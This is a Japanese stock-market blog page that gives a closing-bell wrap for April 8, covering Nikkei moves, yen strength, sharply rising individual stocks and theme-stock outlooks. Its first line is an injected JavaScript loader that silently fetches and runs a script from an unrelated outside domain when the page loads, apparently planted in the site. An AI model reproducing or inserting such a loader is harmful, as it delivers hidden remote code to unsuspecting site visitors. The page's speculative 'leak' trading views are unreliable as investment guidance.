;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【4/8 大引け】|【KabuLeaks 〜株リークス〜】
仕手株

仕手株・ファンド介入リーク情報【4/8 大引け】

本日の日経平均株価は71円高と続伸。後場の日経平均はプラス転換、前場材料視された麻生太郎財務・金融相が午前の閣議後の記者会見で、円高進行に対して「場合によって必要な措置をとる」などの円高へのけん制発言を背景に円高一服から買い戻し優勢の展開。一時は節目の1万6000円台を回復。引けにかけては週末要因からのポジション整理などの売りから上げ幅を縮小した。業種別では、ガラス土石製品、機械、水産・農林業が値上がり上位に。値下がりは不動産業の1業種のみとなった。

個別では、セガゲームス セガネットワークス カンパニーとSNSを活用したマーケティング分野で業務提携すると発表から【6081】アライドアーキテクツが一時ストップ高の大幅高となったほか、【3370】フジタコーポや中国政府が、不衛生さで悪名の高い公衆便所を改善する「トイレ革命」に乗り出しているなどの一部情報から【5341】アサヒ衛陶が後場一時ストップ高の急伸。また、前日引け後に上方修正発表の【3048】ビックカメラ、決算発表の内容を評価された【9716】乃村工藝社などが大幅高となった。

テーマ株では、前場買いが集中したバイオ株はやや上昇一服する銘柄も多いものの底堅く推移する銘柄が多数。その中での一番の注目である【4565】そーせいグループは引けで大台の2万円台を維持。連日の大幅上昇から短期的過熱感も意識されそうなことも考えると週明けはまず2万円台での足固めの動きを期待。日柄調整を挟み再上昇といった流れがベストか。他では、自動運転、IoTやAIなど多彩なテーマ性を持つ【3914】ジグソー、民泊の【1435】インベスターズクラウドなどテーマの中心となる銘柄の上昇も目立った。

日経平均は続伸となってたが現状今日の上昇は直近連敗からの短期的なリバウンドと見ておいたほうがいいかもしれない。為替は110円を割り105円~110円のレンジに突入。

昨夜の先物急落からザラ場中に戻したものの底打ち感薄く引き続き円高への警戒。再度安値を試しにいく展開もしておいたほうがいいかと思う。物色はテーマ株の中心銘柄、バイオ株、成長性の高い中小型など継続で問題ないと思う。